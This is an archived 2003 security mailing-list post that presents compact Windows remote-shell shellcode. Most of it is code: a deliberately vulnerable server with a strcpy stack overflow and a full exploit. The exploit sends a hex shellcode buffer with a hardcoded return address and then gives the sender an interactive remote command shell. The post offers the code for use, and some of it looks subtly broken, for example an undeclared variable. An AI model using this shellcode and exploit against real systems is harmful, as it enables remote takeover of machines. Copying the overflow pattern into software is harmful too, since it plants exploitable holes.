Advances In Windows Shellcode

From: Brett Moore (brett@softwarecreations.co.nz)
Date: Wed Jan 01 2003 - 00:02:43 EST


Advances in windows shellcode are few and far between. Papers exist
detailing the process using anonymous pipes and examples exist showing how
to use a socket directly as the handle for stdin, stdout and stderr.

RVA techniques can be used to write code that will run regardless of service
pack, and there is not often times when shellcode space is extremely limited
so we should be happy with universal remote callback shellcode of ~300
bytes.

David Litchfield's post regarding using a socket as a handle included a
statement:
"If you hard code addresses ..... you can get the exploit code down to 160
bytes"

Which got me to thinking of how to write smaller remote callback shellcode.
What evolved was an idea, and then shellcode which sends a remote shell
back, uses only 2 api calls, and is only 91 bytes in size.

It does have limited uses, has hardcoded address for SP3, messy, could be
refined but should provoke some interesting thought tangents.

The code is not commented, is not at all user friendly, and to cut the size
of the post is ill formated, but those who seek the answer should be able to
get it work.

And now I go on holiday, my byte sequence patent should be ready for filing
by the time I get back ;)

****************************************************************************
**************
*
* server.c - Proof Of Concept Exploitable Server
*/
#include <stdio.h>
#include <winsock2.h>
unsigned int resolve(char *name)
{
            struct hostent *he;
            unsigned int ip;
            if((ip=inet_addr(name))==(-1))
            {
                if((he=gethostbyname(name))==0)
                    return 0;
                memcpy(&ip,he->h_addr,4);
            }
            return ip;
}
int main(int argc,char *argv[])
{
        int s;
        int tsize;
           char smallbuf[100];
        char buf[5000];
        WSADATA WSAData;
        printf("Windows POC Shellcode Tester\n");
        if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
            {
              printf("WSAStartup failed.\n");
               WSACleanup();
              exit(1);
        }
        memset(buf,0x00,sizeof(buf));
        memset(smallbuf,0x0,sizeof(buf));
        printf("Ready?\n");
        s= WSASocket(AF_INET, SOCK_STREAM, IPPROTO_IP,NULL, 0, 0);
        if(s<0) return -1;
        memset((char *)&target,0,sizeof(target));
        target.sin_family = AF_INET;
        target.sin_addr.s_addr = 0;
        target.sin_port = htons(8080); //HTTP
        if (bind(s, &target, sizeof(target)) == SOCKET_ERROR)
        {
        printf("Error: bind() failed.\n");
                return -2;
        }
        printf("Listening\n");
        if (listen(s, 2) == SOCKET_ERROR)
        {
        printf("Error: listen() failed.\n");
                return -2;
        }
        printf("Waiting\n");
        s = accept(s, NULL,NULL);
        printf("Receiving\n");
        if (recv(s, buf, sizeof(buf),0) == SOCKET_ERROR)
                printf("Error: recv() failed.\n");
        printf("strcpy\n");
        strcpy(smallbuf,buf);
        printf("Closing?\n");
        shutdown(s,2);
        closesocket(s);
         printf("done\n");
}
****************************************************************************
**************
/*
/* exploit.c Proof Of Concept Exploit
*/
#include <stdio.h>
#include <winsock2.h>
unsigned int resolve(char *name)
{
            struct hostent *he;
            unsigned int ip;
            if((ip=inet_addr(name))==(-1))
            {
                if((he=gethostbyname(name))==0)
                    return 0;
                memcpy(&ip,he->h_addr,4);
            }
            return ip;
}
int main(int argc,char *argv[])
{
        int s;
        int acount;
        int bytes;
        int x;
            char buf[10000];
        char buf2[10000];
        char tbuf[1000];
        char cmdbuf[100];
    WSADATA WSAData;
        printf("Windows Remote Shell POC\n");
        if (argc<2)
            {
                printf("usage: %s ip \n",argv[0]);
                return -1;
            }
    if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
    {
       printf("WSAStartup failed.\n");
       WSACleanup();
       exit(1);
    }
        printf("Preparing Exploit Buffer\n");
        memset(buf,0x00,sizeof(buf));
        memset(buf2,0x00,sizeof(buf2));
        strcat(buf2,"CMD.\x90");
        strcat(buf2,"\x83\xeb\x04\x83\xec\x78\x80\x72\x03\x2e");
        strcat(buf2,"\x33\xdb\x83\xc3\x10\x43\x53\x52\x8b\xfc");
        strcat(buf2,"\x33\xc0\x33\xc9\xb1\x60\x50\xe2\xfd\x66");
        strcat(buf2,"\xb8\x01\x01\x89\x44\x24\x2c\x83\xc4\x44");
        strcat(buf2,"\x53\x53\x53\x83\xec\x38\x8b\xf4\x56\x56");
        strcat(buf2,"\x51\x51\x51\x41\x51\x49\x51\x51\x52\x51");
        strcat(buf2,"\xbb\x44\x9b\xe9\x77\xff\xd3\x5b\x33\xc9");
        strcat(buf2,"\x49\x51\x53\xbb\x28\x78\xe8\x77\xff\xd3");
        strcat(buf2,"\x8b\xe7\x5a\x5b\xeb\x00");
        printf("Shellcode Size:%d bytes\n",strlen(buf2));
        while (strlen(buf2) <100)
        {
                strcat(buf2,"\x90");
        }
        strcat(buf,buf2);
        strcat(buf,"AAAABBBBCCCCDDDD");
        strcat(buf,"\x57\x2d\xfd\x74");

strcat(buf,"\x8b\x54\x24\x50\x33\xf6\x81\xee\xbd\xb2\xbb\xd1\x4a\x39\x32\x75
\xfb\x83\xc2\x04\xff\xe2");
        printf("Exploit Buffer Ready\n");
        printf("Connecting\n");
        s = socket(AF_INET,SOCK_STREAM,0);
        if(s<0)
                return -1;
        memset((char *)&target,0,sizeof(target));
        target.sin_family = AF_INET;
        target.sin_addr.s_addr = resolve(argv[1]);
        if(target.sin_addr.s_addr==0)
        {
                closesocket(s);
                return -2;
        }
        target.sin_port = htons(8080);
        if (connect(s, &target, sizeof(target)) == SOCKET_ERROR)
        {
                printf("Error: connect() failed.\n");
                        return -2;
        }
        printf("Sending Exploit\n");
          if (sendto(s, buf, strlen(buf)+ 1, 0, &target, sizeof(target)) ==
SOCKET_ERROR)
                printf("Error: sendto() failed.\n");
        memset(buf,0x00,sizeof(buf));
        printf("Exploit Sent\n");
        x=1;
        ioctlsocket(s,FIONBIO,&x);
        while (x > 0){
                memset(cmdbuf,0x00,sizeof(cmdbuf));
                bytes = recv(s, cmdbuf, sizeof(cmdbuf)-1, 0);
                if (bytes > 0)
                {
                        cmdbuf[bytes+1] =0x00;
                       printf("%s",cmdbuf);
                        while (recv(s, cmdbuf, sizeof(cmdbuf), MSG_PEEK) > 0)
                        {
                                memset(cmdbuf,0x00,sizeof(cmdbuf));
                                bytes = recv(s, cmdbuf, sizeof(cmdbuf)-1, 0);
                                if (bytes > 0)
                                {
                                        cmdbuf[bytes+1] =0x00;
                                        printf("%s",cmdbuf);
                                }
                        }
                        memset(cmdbuf,0x00,sizeof(cmdbuf));
                        gets(cmdbuf);
                        strcat(cmdbuf+strlen(cmdbuf),"\r\n");
                        send(s,cmdbuf,strlen(cmdbuf)+1,0);
                }
        }
        closesocket(s);
}

----------------------------------------------------------------------------
This list is provided by the SecurityFocus Security Intelligence Alert (SIA)
Service. For more information on SecurityFocus' SIA service which
automatically alerts you to the latest security vulnerabilities please see:
https://alerts.securityfocus.com/



This archive was generated by hypermail 2.1.7 : Sat Apr 12 2008 - 10:53:26 EDT